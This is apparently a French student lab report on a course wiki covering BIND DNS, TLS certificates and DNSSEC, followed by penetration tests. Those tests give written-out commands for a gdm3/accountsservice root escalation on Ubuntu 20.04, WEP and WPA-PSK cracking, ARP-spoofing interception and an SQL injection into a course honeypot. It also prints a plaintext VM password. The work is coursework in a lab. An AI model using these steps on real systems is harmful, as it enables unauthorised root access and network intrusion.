Tout d'abord, nous allons sur Gandi et nous paramétrons notre nom de domaine piedbleu.site de la façon suivante : &lt;br /&gt;
&lt;br /&gt;
 Nom de domaine &amp;gt; piedbleu.site &amp;gt; Glue Records&lt;br /&gt;
       ns1.piedbleu.site&lt;br /&gt;
       193.48.57.181&lt;br /&gt;
&lt;br /&gt;
 Nom de domaine &amp;gt; piedbleu.site &amp;gt; Serveurs de noms &amp;gt; Externe (au lieu de live Gandi DNS)&lt;br /&gt;
       1er  : ns1.piedbleu.site&lt;br /&gt;
&lt;br /&gt;
Après avoir configuré noter nom de domaine, nous configurons notre serveur DNS sur notre VM.&lt;br /&gt;
&lt;br /&gt;
Nous commençons par installer le paquet bind:&lt;br /&gt;
&lt;br /&gt;
 apt install bind9&lt;br /&gt;
&lt;br /&gt;
Bind9 est notre serveur DNS que nous allons configurer. Cela se déroule en plusieurs étapes:&lt;br /&gt;
&lt;br /&gt;
1ère étape: &lt;br /&gt;
&lt;br /&gt;
Nous commençons par changer le nom du serveur dans le fichier /etc/resolv.conf&lt;br /&gt;
&lt;br /&gt;
 name serveur 127.0.0.1&lt;br /&gt;
&lt;br /&gt;
L'adresse 127.0.0.1 spécifie que notre DNS correspond à notre machine.&lt;br /&gt;
&lt;br /&gt;
2ème étape:&lt;br /&gt;
Dans le fichier /etc/bind/named.conf.local, nous créons une zone &amp;quot;piedbleu.site&amp;quot; qui spécifie que notre DNS ns1.piedbleu.site est notre DNS primaire :&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;piedbleu&amp;quot; IN {&lt;br /&gt;
         type master;&lt;br /&gt;
         file &amp;quot;/etc/bind/db.piedbleu.site&amp;quot;;&lt;br /&gt;
         allow-transfer { 217.70.177.40; };&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
La dernière ligne nous permet d'autoriser le transfert des informations du DNS primaire (ns1.piedbleu.site) au DNS secondaire ( ns6.gandi.net, ip:217.70.177.40;).&lt;br /&gt;
&lt;br /&gt;
3ème partie:&lt;br /&gt;
Dans le fichier cat /etc/bind/db.piedbleu.site, nous configurons la zone &amp;quot;piedbleu.site&amp;quot;:&lt;br /&gt;
&lt;br /&gt;
 ;&lt;br /&gt;
 ; BIND data file for local loopback interface&lt;br /&gt;
 ;&lt;br /&gt;
 TTL    604800&lt;br /&gt;
 @       IN      SOA     ns1.piedbleu.site. root.piedbleu.site. (&lt;br /&gt;
                               3         ; Serial&lt;br /&gt;
                          604800         ; Refresh&lt;br /&gt;
                            86400         ; Retry&lt;br /&gt;
                         2419200         ; Expire                          &lt;br /&gt;
                          604800 )       ; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 @       IN      NS      ns1.piedbleu.site.&lt;br /&gt;
 @       IN      NS      ns6.gandi.net.&lt;br /&gt;
 ns1     IN      A       193.48.57.181&lt;br /&gt;
&lt;br /&gt;
Nous spécifions ns1.piedbleu.site comme étant notre localhost et root.piedbleu.site comme étant notre root.localhost.&lt;br /&gt;
Nous ajoutons ensuite nos deux NS ( ns1.piedbleu.site et ns6.gandi.net ) ainsi que l'adresse du premier NS : 193.48.57.181.&lt;br /&gt;
&lt;br /&gt;
Pour vérifier que notre configuration est bien réalisée, nous entrons la commande suivante:&lt;br /&gt;
&lt;br /&gt;
 host -t any piedbleu.site&lt;br /&gt;
&lt;br /&gt;
résultat :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:reponse.png | 600px]]&lt;br /&gt;
&lt;br /&gt;
A présent, nous pouvons configurer le serveur de nom secondaire : &lt;br /&gt;
 Nom de domaine &amp;gt; piedbleu.site &amp;gt; Serveurs de noms &amp;gt; Externe (au lieu de live Gandi DNS)&lt;br /&gt;
       2ème : ns6.gandi.net&lt;br /&gt;
&lt;br /&gt;
==4.3 Sécurisation de site web par certificat==&lt;br /&gt;
&lt;br /&gt;
Tout d'abord, nous configurons un serveur mail afin d'être en mesure de recevoir le mail de confirmation de Gandi lorsque l'on va demander un certificat.&lt;br /&gt;
&lt;br /&gt;
Dans le fichier cat /etc/bind/db.piedbleu.site, nous rajoutons la ligne suivante:&lt;br /&gt;
&lt;br /&gt;
 @       IN      MX      100 ns1.piedbleu.site.&lt;br /&gt;
&lt;br /&gt;
Nous installons ensuite postfix ( configuration : &amp;quot;Internet Site&amp;quot;, nom du site &amp;quot; piedbleu.site&amp;quot; ).&lt;br /&gt;
&lt;br /&gt;
Nous ajoutons ensuite l'alias dans le fichier /etc/aliases&lt;br /&gt;
&lt;br /&gt;
 admin:root&lt;br /&gt;
&lt;br /&gt;
et nous effectuons la commande : &lt;br /&gt;
&lt;br /&gt;
 newaliases&lt;br /&gt;
&lt;br /&gt;
Nous pouvons maintenant envoyer des mails à l'adresse &amp;quot;admin@piedbleu.site&amp;quot;. Ces mails sont visibles lorsque l'on tape la commande :&lt;br /&gt;
 &lt;br /&gt;
 mailx&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Dans un second temps, nous configurons notre serveur apache. Afin de configurer le serveur Apache2, nous avons besoin d'une clé asymétrique ainsi que d'un certificat signé par une autorité de certification (CA), qui sera Gandi.&lt;br /&gt;
&lt;br /&gt;
Nous devons pour cela générer une Demande de Signature de Cerificat. Nous utilisons pour cela la commande suivante:&lt;br /&gt;
&lt;br /&gt;
 openssl req -nodes -newkey rsa:2048 -sha256 -keyout piedbleu.site.key -out piedbleu.csr&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
- newkey tsa:2048 permet de génerer une requete CSR et une clé privée utilisant le chiffrement RSA sur 2048 bits.&lt;br /&gt;
&lt;br /&gt;
- keyout piedbleu.site.key permet de sauvegarder le fichier de clé privée sous le nom &amp;quot;piedbleu.site.key&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
- -out piedbleu.csr permet de sauvegarder le fichier CSR sous le nom &amp;quot;piedbleu.csr&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
À la suite de cette commande, nous entrons nos données d'identifications. Nous ferons attention à bien entrer le nom de domaine &amp;quot;piedbleu.site&amp;quot; pour le Common Name.&lt;br /&gt;
&lt;br /&gt;
Nous obtenons deux fichiers: un fichier de clé privée .key ainsi qu'un fichier de CSR .csr&lt;br /&gt;
&lt;br /&gt;
Le fichier piedbleu.csr nous permet de faire une demande de certificat auprès de Gandi. Nous allons pour cela copier son contenu sur l'interface de Gandi lors de la procédure d'achat de certificat.&lt;br /&gt;
&lt;br /&gt;
On reçoit alors un mail de vérification de la part de Gandi avec un lien et un mot de passe de vérification. Après avoir rentrer le mot de passe dans la zone appropriée, nous avons pu récurer sur Gandi notre certificat ainsi qu'un certificat intermédiaires. Nous téléchargeons et plaçons ces certificats dans un répertoire spécifique:&lt;br /&gt;
&lt;br /&gt;
 /etc/ssl/piedbleu.site.crt&lt;br /&gt;
 /etc/ssl/GandiStandardSSLCA2.pem&lt;br /&gt;
&lt;br /&gt;
Nous copions aussi notre clé privée dans ce repertoire:&lt;br /&gt;
&lt;br /&gt;
 /etc/ssl/piedbleu.site.key&lt;br /&gt;
&lt;br /&gt;
Nous pouvons maintenant passer à la configuration d'apache2 :&lt;br /&gt;
&lt;br /&gt;
Tout d'abord, il est nécessaire d'activer le module SSL d'apache:&lt;br /&gt;
 &lt;br /&gt;
 a2enmod ssl&lt;br /&gt;
&lt;br /&gt;
Pour réaliser la configuration, nous modifions le fichier 000-default.conf. situé dans le répertoire  /etc/apache2/sites-enabled. Nous modifions le VirutalHost dédié au HTTP (port 80) et le VirtualHost dédié au HTTPS( port 443):&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
  ServerAdmin admin@piedbleu.site&lt;br /&gt;
  DocumentRoot /var/www/html&lt;br /&gt;
  ErrorLog ${APACHE_LOG_DIR}/error.log&lt;br /&gt;
  CustomLog ${APACHE_LOG_DIR}/access.log combined&lt;br /&gt;
  Redirect permanent / https://www.piedbleu.site/&lt;br /&gt;
 &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
 &amp;lt;VirtualHost 193.48.57.181:443&amp;gt;&lt;br /&gt;
  ServerName piedbleu.site&lt;br /&gt;
  ServerAlias www.piedbleu.site&lt;br /&gt;
  DocumentRoot /var/www/html&lt;br /&gt;
  CustomLog /var/log/apache2/secure_access.log combined&lt;br /&gt;
  SSLEngine on&lt;br /&gt;
  SSLCertificateFile /etc/ssl/piedbleu.site.crt&lt;br /&gt;
  SSLCertificateKeyFile /etc/ssl/piedbleu.site.key&lt;br /&gt;
  SSLCACertificateFile /etc/ssl/GandiStandardSSLCA2.pemSSLVerifyClient None&lt;br /&gt;
 &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
La commande &lt;br /&gt;
 apachect1 configtest &lt;br /&gt;
nous indique bien que la syntaxe est correcte.&lt;br /&gt;
&lt;br /&gt;
Nous devons aussi modifier la configuration de notre DNS ( fichier db.piedbleu.site), en rajoutant un enregistrement de type A:&lt;br /&gt;
&lt;br /&gt;
 www	IN	A	193.48.57.181&lt;br /&gt;
&lt;br /&gt;
Pour que les modifications soient prises en compte, nous redémarrons apache2:&lt;br /&gt;
&lt;br /&gt;
 service apache2 restart&lt;br /&gt;
&lt;br /&gt;
==4.4 Sécurisation de serveur DNS par DNSSEC==&lt;br /&gt;
&lt;br /&gt;
Nous commençons tout d'abord par activer DNSSEC en ajoutant dans le fichier /etc/bind/named.conf.options l'option:&lt;br /&gt;
 dnssec-enable yes&lt;br /&gt;
&lt;br /&gt;
Nous souhaitons ensuite générer deux couples de clefs qui servirons pour le chiffrement.Avant cela, nous créons un dossier piedbleu.site.dnssec où serons stocker ces clefs.&lt;br /&gt;
&lt;br /&gt;
Nous commençons par générer le couple de clefs asymétrique de signature de clefs de zone:&lt;br /&gt;
 dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE piedbleu.site&lt;br /&gt;
&lt;br /&gt;
Nous générons ensuite le couple de clefs asymétrique de la zone pour signer les enregistrements:&lt;br /&gt;
 dnssec-keygen -a RSASHA1 -b 1024 -n ZONE piedbleu.site&lt;br /&gt;
&lt;br /&gt;
Nous renommons les deux paires de clefs obtenues de la manière suivante:&lt;br /&gt;
 Kpiedbleu.site.+005+09001.key -&amp;gt; piedbleu.site-ksk.key &lt;br /&gt;
 Kpiedbleu.site.+005+09001.private -&amp;gt; piedbleu.site-ksk.private&lt;br /&gt;
 Kpiedbleu.site.+005+22902.key -&amp;gt; piedbleu.site-zsk.key&lt;br /&gt;
 Kpiedbleu.site.+005+22902.private -&amp;gt; piedbleu.site-zsk.private&lt;br /&gt;
&lt;br /&gt;
Nous incrémentons ensuite les deux clefs publiques dans notre fichier de zone:&lt;br /&gt;
&lt;br /&gt;
 $include /etc/bind/piedbleu.site.dnssec/piedbleu.site-ksk.key&lt;br /&gt;
 $include /etc/bind/piedbleu.site.dnssec/piedbleu.site-zsk.key&lt;br /&gt;
&lt;br /&gt;
=5. Tests d’intrusion=&lt;br /&gt;
&lt;br /&gt;
==5.1  Exploitation de failles du système : Ubuntu 20.04 en *exclusivité* ==&lt;br /&gt;
&lt;br /&gt;
Plutôt que d'utiliser un ancien noyau Linux et des outils comme Metasploit, je vous propose en  &amp;lt;span style=&amp;quot;color:red&amp;quot;&amp;gt; '''exclusivité dans le département IMA''' &amp;lt;/span&amp;gt; l'exploitation de plusieurs vulnérabilités dans la dernière version de Ubuntu, la 20.04.1, kernel 5.6. Ces exploits ont été publiés le 10/11/2020 et aujourd'hui, à l'heure où j'écris ces lignes nous sommes le 11/11/2020. En ce jour férié, en parcourant l'actualité IT, j'ai apperçu un article fort intéressant, que je vais reprendre ici pour obtenir les droits administrateurs sur la machine Linux : &lt;br /&gt;
&lt;br /&gt;
1) J'installe Ubuntu 20.04 dans une VM.&lt;br /&gt;
&lt;br /&gt;
2) Par défaut la session fait partie du groupe sudo, je fais donc un compte utilisateur standard pour mener à bien mon exploit, sinon c'est de la triche...&lt;br /&gt;
&lt;br /&gt;
 $ sudo adduser u1&lt;br /&gt;
 $ su u1&lt;br /&gt;
 $ id&lt;br /&gt;
 uid=1001(u1) gid=1001(u1) groupes=1001(u1)&lt;br /&gt;
&lt;br /&gt;
3) On fait un DOS (denial of service) sur accounts-daemon, pour ce faire on fait d'abord le lien symbolique suivant : &lt;br /&gt;
&lt;br /&gt;
 $ ln -s /dev/zero ~/.pam_environment&lt;br /&gt;
&lt;br /&gt;
Puis on va dans Settings &amp;gt; Region and Language &amp;gt; Language, et on change de langue. On se rend vite compte que le CPU tourne à 100%. En faisant la commande : &lt;br /&gt;
&lt;br /&gt;
 $ top&lt;br /&gt;
&lt;br /&gt;
On se rend compte que accounts-daemon utilise presque toutes les ressources CPU. On récupère son PID, puis on lui envoie le signal SIGSTOP.&lt;br /&gt;
&lt;br /&gt;
 $ kill -SIGSTOP 1098&lt;br /&gt;
&lt;br /&gt;
Maintenant, on peut supprimer le lien symbolique qui a causé le DOS pour ne pas que l'exploit se relance à chaque nouvelle session.&lt;br /&gt;
&lt;br /&gt;
 $ rm ~/.pam_environment&lt;br /&gt;
&lt;br /&gt;
Ici on va faire crasher le accounts-daemon, mais seulement une fois que l'on s'est déconnecté, on lance donc cette tâche en arrière plan après 10 secondes. &lt;br /&gt;
 &lt;br /&gt;
 $ nohup bash -c &amp;quot;sleep 10s; kill -SIGSEGV 1098; kill -SIGCONT 1098&amp;quot;&lt;br /&gt;
&lt;br /&gt;
On se déconnecte de notre session.&lt;br /&gt;
&lt;br /&gt;
Le menu &amp;quot;Welcome&amp;quot; de Ubuntu apparaît après quelques temps d'attente !! C'est le menu d'installation de Ubuntu qui est censé venir seulement la 1ere fois que l'on installe l'OS sur notre machine. On va donc être en mesure de configurer une nouvelle session qui aura les droits administrateurs sur la machine (et ce, sans supprimer les autres comtpes). Un nouvel utilisateur apparaît sur la machine ! &lt;br /&gt;
&lt;br /&gt;
 $ whoami&lt;br /&gt;
 pwn&lt;br /&gt;
 $ id&lt;br /&gt;
 uid=1002(pwn) gid=1002(pwn) groupes=1002(pwn), 27(sudo)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Explication : '''&lt;br /&gt;
&lt;br /&gt;
En changeant la langue dans &amp;quot;Region and Language&amp;quot;, le programme accountsservice daemon (accounts-daemon) va lire le fichier .pam_environment situé dans le home. Cependant nous avons fait un lien symbolique malicieux pointant sur /dev/zero. Le programme va donc tourner en boucle infini car il n'arrivera jamais à finir de lire /dev/zero.&lt;br /&gt;
&lt;br /&gt;
La deuxième faille réside dans le fait que accounts-daemon abaisse ses privilèges root en privilège standard seulement quand il lit le .pam_environment. Or il est enfermé dans une boucle infini grâce à notre lien malicieux. On va donc pouvoir lui envoyer les signaux SIGSTOP, SIGSEGV, SIGCONT sans avoir de droit root. En fait à la base l'abaissement de privilège est une protection pour empêcher de lire dans /etc/shadow par exemple... &lt;br /&gt;
&lt;br /&gt;
Ensuite, on se déconnecte de notre session en lançant en arrière plan le kill -SIGSEGV de accounts-daemon. Sauf que le gestionnaire de session gdm3 demande à accounts-daemon combien de session il y a afin de nous permettre de choisir laquelle on va utiliser pour se connecter. Accounts-daemon étant hors service, gdm3 va lire la valeur par défaut de priv-&amp;gt;have_existing_user_accounts, qui est : &amp;quot;false&amp;quot;. Gdm3 pense donc qu'il n'y a aucune session sur la machine et va lancer gnome-initial-setup.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Note 1 : ''' La faille semble avoir été rapidement patchée.&lt;br /&gt;
&lt;br /&gt;
'''Note 2 : ''' Les failles exploitées lors de l'élévation de privilège : &lt;br /&gt;
&lt;br /&gt;
accountsservice denial of service (GHSL-2020-187, GHSL-2020-188 / CVE-2020-16126, CVE-2020-16127)&lt;br /&gt;
&lt;br /&gt;
gdm3 privilege escalation due to unresponsive accounts-daemon (GHSL-2020-202 / CVE-2020-16125)&lt;br /&gt;
&lt;br /&gt;
'''Version du noyau et des parquets : '''&lt;br /&gt;
 Ubuntu 20.04.1 LTS, kernel 5.6&lt;br /&gt;
 gdm3, version 3.36.3-0ubuntu0.20.04.1&lt;br /&gt;
 accountsservice, version 0.6.55-0ubuntu12~20.04.1&lt;br /&gt;
&lt;br /&gt;
''' Source : ''' &lt;br /&gt;
&lt;br /&gt;
''How to get root on Ubuntu 20.04 by pretending nobody’s /home'', Kevin Backhouse, November 10 2020&lt;br /&gt;
&lt;br /&gt;
https://securitylab.github.com/research/Ubuntu-gdm3-accountsservice-LPE&lt;br /&gt;
&lt;br /&gt;
==5.2  Cassage de clef WEP d’un point d’accès WiFi==&lt;br /&gt;
&lt;br /&gt;
Nous commençons tout d’abord par installer le paquet aircrack :&lt;br /&gt;
&lt;br /&gt;
 $ apt-get install aircrack-ng&lt;br /&gt;
&lt;br /&gt;
À partir de là, nous listons la liste des interfaces wifi disponibles :  (pour repérer le nom du réseau sans fil correspondant à notre binôme) :&lt;br /&gt;
&lt;br /&gt;
 $ airmon-ng&lt;br /&gt;
&lt;br /&gt;
[[Fichier:screen1.png|600px]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On remarque que notre carte wifi est désignée par le nom wlp1s0mon qui correspond à l’interface.&lt;br /&gt;
&lt;br /&gt;
Nous passons ensuite notre interface en mode monitor, pour écouter le trafic wifi aux alentours.&lt;br /&gt;
&lt;br /&gt;
 $ airmon-ng start wlp1s0mon&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On peux ensuite lancer le scan des réseaux wifi environnants :&lt;br /&gt;
&lt;br /&gt;
 $ airodump-ng --encrypt wep wlp1s0mon&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Screen2.png|600px]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On repère le point d’accès qui correspond au réseau wifi qui nous intéresse ( cracotte 08). on récupère le bssid : 04:DA:D2:9C:50:57 , et le chanel : 3.&lt;br /&gt;
&lt;br /&gt;
On capture ensuite les paquets émis par le point  d’accès cible :&lt;br /&gt;
&lt;br /&gt;
 $ airodump-ng --write mon_fichier --channel 3 --bssid 04:DA:D2:9C:50:57 wlp1s0mon&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Screen3.png|600px]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On se concentre sur l’indicateur #Data qui permet de savoir le nombre de paquets data collecté. Une fois que ce nombre atteint 30000, on lance dans un autre terminal le crack de la clé :&lt;br /&gt;
&lt;br /&gt;
 $ aircrack-ng -z mon_fichier-01.cap&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Screen4.png|600px]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On voit que le programme a réussi à trouver la clé ( message « Key Found »).&lt;br /&gt;
&lt;br /&gt;
==5.3  Cassage de mot de passe WPA-PSK par force brute==&lt;br /&gt;
&lt;br /&gt;
Nous allons dans cette partie continuer à utiliser aircrack. Les premières étapes sont similaires à celles pour le cassage d'une clé WEP. Nous commençons par lister les interfaces wifi disponibles (airmon-ng), puis on passe l'interface en mode monitor (airmon-ng start wlp1s0mon).&lt;br /&gt;
&lt;br /&gt;
On lance ensuite le scan des réseaux wifi WPA PSK environnants :&lt;br /&gt;
&lt;br /&gt;
 $ airodump-ng --encrypt wpa-psk wlp1s0mon&lt;br /&gt;
&lt;br /&gt;
[[Fichier:scankracotte.png || 600px]]&lt;br /&gt;
&lt;br /&gt;
Cette commande nous permet d'obtenir des informations supplémentaires sur les réseaux wifi, comme le BSSID, le Channel, l'AUTH ( le mode d'authentification), ainsi que l'ESSID ( le nom du routeur ). &lt;br /&gt;
&lt;br /&gt;
Nous utilisons alors le BSSID ainsi que le Channel du réseau wifi kracotte03 dans la commande suivante:&lt;br /&gt;
&lt;br /&gt;
 $ airodump-ng wlp1s0mon --bssid 00:14:1B:60:8C:22 --ch 3 -w capture&lt;br /&gt;
&lt;br /&gt;
Cette commande nous permet d'obtenir un handshake. Nous la laissons tourner en boucle jusqu'à ce que nous obtenions ce fameux handshake.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Handshake1.png | 600px]]&lt;br /&gt;
&lt;br /&gt;
Maintenant que nous avons obtenu le handshake, nous allons faire une attaque par bruteforce. Pour cela, nous générerons tout d'abord toutes les combinaisons possibles de mots de passe de taille 8, composés uniquement de chiffre. &lt;br /&gt;
&lt;br /&gt;
Pour construire ce dictionnaire, nous utilisons la commande crunch (que nous avons au préalable installée):&lt;br /&gt;
&lt;br /&gt;
 $ crunch 8 8 -o 12345678 &amp;gt; motdepasse.txt&lt;br /&gt;
&lt;br /&gt;
Nous spécifions ici la longueur minimum et maximum du mot de passe (8), les caractères à utiliser (012345678), puis nous effectuons une redirection vers motdepasse.txt.&lt;br /&gt;
&lt;br /&gt;
Ensuite, nous effectuons l'attaque par bruteforce avec la commande suivante : &lt;br /&gt;
&lt;br /&gt;
 $ aircrak-ng -a2 -b 00:14:1B:60:8C:27 -w motdepasse.txt *.cap&lt;br /&gt;
&lt;br /&gt;
Comme la méthode bruteforce prend du temps, nous lançons l'attaque la nuit, en ssh sur notre zabeth. 4h plus tard, nous obtenons le mot de passe de la kracotte : &lt;br /&gt;
&lt;br /&gt;
[[Fichier:WPA-5.png|600px]]&lt;br /&gt;
&lt;br /&gt;
==5.4  Attaque de type &amp;quot;homme au milieu&amp;quot; par usurpation ARP==&lt;br /&gt;
&lt;br /&gt;
Tout d'abord, on install dsniff sur l'eepc. Ensuite on le transforme en routeur : &lt;br /&gt;
&lt;br /&gt;
 apt install dsniff&lt;br /&gt;
 export PATH=/sbin:/usr/sbin:$PATH&lt;br /&gt;
 echo 1 &amp;gt; /proc/sys/net/ipv4/ip_forward&lt;br /&gt;
&lt;br /&gt;
Ensuite on lance arpspoof pour placer l'eepc entre la zabeth et le routeur : &lt;br /&gt;
&lt;br /&gt;
 arpspoof -i enp4s0 -t 172.26.145.60 172.26.145.254&lt;br /&gt;
&lt;br /&gt;
Ensuite, on trouve une page HTTP avec un petit formulaire POST. La page n'étant pas sécurisé par TLS ou SSL, les données seront échangées en clair. On ouvre Wireshark dans l'eepc et dans la zabeth on se rend sur un site vulnérable (par exemple : http://fabricarium-old.polytech-lille.fr).&lt;br /&gt;
&lt;br /&gt;
En tentant de se connecter, on se rend compte que la requête POST a bien été transmise à l'eepc qui l'a redirigé vers le routeur : &lt;br /&gt;
&lt;br /&gt;
[[Fichier:Mitm-pra.png|600px]]&lt;br /&gt;
&lt;br /&gt;
==5.5  Intrusion sur un serveur d’application Web==&lt;br /&gt;
&lt;br /&gt;
Tout d'abord, nous nous rendons sur honey.plil.info. Nous apercevons un formulaire, que l'on exploite par injection SQL : &lt;br /&gt;
&lt;br /&gt;
 ' OR 1 = 1 --&lt;br /&gt;
&lt;br /&gt;
D'un autre côté nous effectuons un nmap sur le serveur afin d'avoir une idée des services que l'on pourra exploiter (ou juste utiliser...).&lt;br /&gt;
&lt;br /&gt;
 nmap -T4 -A honey.plil.info&lt;br /&gt;
&lt;br /&gt;
On obtient : &lt;br /&gt;
&lt;br /&gt;
[[Fichier:Nmap-g8-2021 1.2.png|600px]]&lt;br /&gt;
&lt;br /&gt;
Nous essayons de faire un ssh avec les id trouvés par injections SQL... sans succès.&lt;br /&gt;
&lt;br /&gt;
De retour sur le site honey.plil.info, nous remarquons la présence d'une seconde page avec formulaire : honey.plil.info/phpmyadmin. Mais nous n'avons pas le mot de passe. L'injection SQL ne semble pas fonctionner.&lt;br /&gt;
&lt;br /&gt;
De retour sur la 1ere page, on se connecte sur honey.plil.info avec les ids récupérés par injection SQL. En exploitant bien comme il faut les fonctionnalités du site, on arrive à récupérer le mot de passe de notre seconde page.&lt;br /&gt;
&lt;br /&gt;
On se connecte donc sur cette seconde page, et après quelques recherches dans la base de données, on retrouve un identifiant et un mot de passe.&lt;br /&gt;
&lt;br /&gt;
On utilise cette découverte pour se connecter sur le serveur en SSH.&lt;br /&gt;
&lt;br /&gt;
Cependant, cet utilisateur n'est pas root. Il peut néanmoins lire le fichier des mots de passe. On récupère ainsi le mot de passe haché de l'administrateur root.&lt;br /&gt;
&lt;br /&gt;
Pour avoir son mot de passe, on réalise une attaque par brute force avec dictionnaire.&lt;br /&gt;
&lt;br /&gt;
Nous construisons ce dictionnaire avec crunch en reprenant un indice donné dans l'énoncé.&lt;br /&gt;
&lt;br /&gt;
Quelques temps plus tard... John nous donne le mot de passe root !&lt;br /&gt;
&lt;br /&gt;
Nous nous connectons sur le serveur en tant que root et nous y laissons la trace de notre passe &amp;quot;I was here&amp;quot; : &lt;br /&gt;
&lt;br /&gt;
[[Fichier:Hack-honey.png|600px]]&lt;br /&gt;
&lt;br /&gt;
=6. Réalisations=&lt;br /&gt;
&lt;br /&gt;
== 6.1  Sécurisation de données : RAID 5 logiciel==&lt;br /&gt;
&lt;br /&gt;
Tout d'abord, on crée 3 partitions vituelles : &lt;br /&gt;
&lt;br /&gt;
 lvcreate -L1G -n piedbleu-raid1 storage&lt;br /&gt;
&lt;br /&gt;
Ensuite, on modifie le fichier : /etc/xen/piedbleu.cfg, puis on redémarre la VM pour réaliser les actions qui suivent.&lt;br /&gt;
&lt;br /&gt;
Tout d'abord, on installe le paquet mdadm.&lt;br /&gt;
 apt instal mdadm&lt;br /&gt;
&lt;br /&gt;
Ensuite, on construit notre volume RAID 5, et on s'assure qu'il fonctionne à chaque démarrage.&lt;br /&gt;
 mdadm --create /dev/md0 --level=5 --raid-devices=3 /dev/xvda5 /dev/xvda6 /dev/xvda7 &lt;br /&gt;
 mdadm --monitor --daemonise /dev/md0&lt;br /&gt;
&lt;br /&gt;
On formate notre volume RAID.&lt;br /&gt;
 mkfs.ext4 /dev/md0 &lt;br /&gt;
&lt;br /&gt;
On rajoute cette ligne dans le fstab : &lt;br /&gt;
   /dev/md0   /raid5   ext4   defaults   0   2&lt;br /&gt;
&lt;br /&gt;
Pour finir, on peuple notre volume RAID.&lt;br /&gt;
 mkdir /raid5&lt;br /&gt;
 touch /raid5/test&lt;br /&gt;
&lt;br /&gt;
RAID 5 : on doit avoir minimum 3 disques, mais on peut survivre seulement à la perte d'un seul disque.&lt;br /&gt;
On peut donc supprimer une partition et toujours avoir accès à nos fichiers.&lt;br /&gt;
&lt;br /&gt;
==6.2  Chiffrement de données==&lt;br /&gt;
&lt;br /&gt;
Pour chiffrer la partition de notre clé USB et pouvoir y écrire des fichiers, on exécute les commandes suivantes : &lt;br /&gt;
&lt;br /&gt;
 $ fdisk -l # on répère la clé USB&lt;br /&gt;
 $ fdisk /dev/sdb # on formate la clé en une seule partition&lt;br /&gt;
 $ cryptsetup luksFormat /dev/sdb1 # on chiffre l'unique partition de la clé USB&lt;br /&gt;
 $ cryptsetup luksOpen /dev/sdb1 myusbkey # on déchiffre la partition&lt;br /&gt;
 $ mkfs.ext4 /dev/mapper/myusbkey # on formatte la partition en EXT4&lt;br /&gt;
&lt;br /&gt;
Ensuite, on monte la clé USB, et on la peuple : &lt;br /&gt;
&lt;br /&gt;
 $ mkdir /mnt/USB &lt;br /&gt;
 $ mount -t ext4 /dev/mapper/myusbkey /mnt/USB&lt;br /&gt;
 $ touch /mnt/USB/mytestfile.txt&lt;br /&gt;
&lt;br /&gt;
Une fois que l'on a fini, on démonte le système de fichier proprement : &lt;br /&gt;
&lt;br /&gt;
 $ umount /mnt/USB&lt;br /&gt;
 $ cryptsetup luksClose myusbkey&lt;br /&gt;
&lt;br /&gt;
== 6.4  Sécurisation WiFi par WPA2-EAP (FreeRADIUS) ==&lt;/div&gt;</summary>
		<author><name>Jsoulaim</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G8&amp;diff=54245</id>
		<title>TP sysres IMA5sc 2020/2021 G8</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G8&amp;diff=54245"/>
				<updated>2020-12-02T15:15:31Z</updated>
		
		<summary type="html">&lt;p&gt;Jsoulaim : /* 4.3 Sécurisation de site web par certificat */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=2. Installation de la machine virtuelle Xen=&lt;br /&gt;
&lt;br /&gt;
Tout d'abord, on fait un SSH sur capbreton.&lt;br /&gt;
&lt;br /&gt;
Puis création de la machine virtuelle :  &lt;br /&gt;
 xen-create-image --hostname=piedbleu --ip=100.64.0.22 --netmask=255.255.255.0 --password=pasglop --dir=/usr/local/xen --dist=buster --gateway=100.64.0.5 --force&lt;br /&gt;
&lt;br /&gt;
On renomme les LVM avec lv rename : &lt;br /&gt;
&lt;br /&gt;
 lvrename /dev/storage/piedbleu1 /dev/storage/piedbleu-home&lt;br /&gt;
 lvrename /dev/storage/piedbleu2 /dev/storage/piedbleu-var&lt;br /&gt;
&lt;br /&gt;
On obtient (lvdispaly) : &lt;br /&gt;
&lt;br /&gt;
 --- Logical volume ---&lt;br /&gt;
  LV Path                /dev/storage/piedbleu-home&lt;br /&gt;
  LV Name                piedbleu-home&lt;br /&gt;
  VG Name                storage&lt;br /&gt;
  LV UUID                UIBfvf-NW8A-iag9-WwcT-HiZu-53UW-u4DRMA&lt;br /&gt;
  LV Write Access        read/write&lt;br /&gt;
  LV Creation host, time capbreton, 2020-10-12 16:38:58 +0100&lt;br /&gt;
  LV Status              available&lt;br /&gt;
  # open                 1&lt;br /&gt;
  LV Size                10.00 GiB&lt;br /&gt;
  Current LE             2560&lt;br /&gt;
  Segments               1&lt;br /&gt;
  Allocation             inherit&lt;br /&gt;
  Read ahead sectors     auto&lt;br /&gt;
  - currently set to     256&lt;br /&gt;
  Block device           254:12&lt;br /&gt;
   &lt;br /&gt;
  --- Logical volume ---&lt;br /&gt;
